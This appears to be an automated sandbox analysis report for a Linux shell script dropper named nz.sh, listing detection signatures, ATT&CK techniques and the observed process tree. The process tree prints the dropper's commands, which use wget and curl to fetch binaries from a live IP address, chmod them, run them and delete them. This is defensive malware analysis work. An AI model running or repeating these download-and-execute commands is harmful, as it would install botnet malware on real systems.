Analysis
- max time kernel
67s - max time network
135s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
15/08/2026, 02:49
General
- Target nz.sh
- Size 2KB
- Sample260815-da81dsdp8w
- SHA256 09e484fc3dcd85a4c8b709277d0b17d2c5620a20812fea43f1c78916781cb319
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 3 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/nz.sh/tmp/nz.sh1⤵
- Executes dropped EXE
-
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://157.173.119.111/bins/px862⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://157.173.119.111/bins/px862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox nz.sh px862⤵
- File and Directory Permissions Modification
-
-
/tmp/px86./px86 px862⤵
-
-
/bin/rmrm -rf px862⤵
-
-
/usr/bin/wgetwget http://157.173.119.111/bins/pmips2⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
busybox
px86